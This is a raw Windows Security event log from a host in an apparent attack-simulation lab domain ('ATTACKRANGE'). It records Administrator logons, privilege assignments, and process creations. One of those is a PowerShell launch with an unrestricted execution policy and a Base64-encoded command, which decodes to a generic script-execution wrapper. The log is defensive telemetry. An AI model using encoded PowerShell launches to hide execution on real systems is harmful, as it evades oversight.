The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245991
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245990
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245989
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B8C1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245988
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245987
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3C097

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245986
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B8C1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245985
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B8C1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245984
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245983
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245982
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B888

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245981
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B888

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245980
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B888
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245979
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245978
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245977
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x5BB34

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245976
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3D8BF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245975
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3C28E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246017
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESDCC3.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC6DDA32E738E8458C863B3D11E141CA16.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246016
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6D858

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246015
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6D858
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246014
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246013
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246012
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x660
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\b2onmhlm.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246011
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6D16A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246010
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6D16A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246009
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246008
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246007
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x660
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246006
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x660
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x990
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246021
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
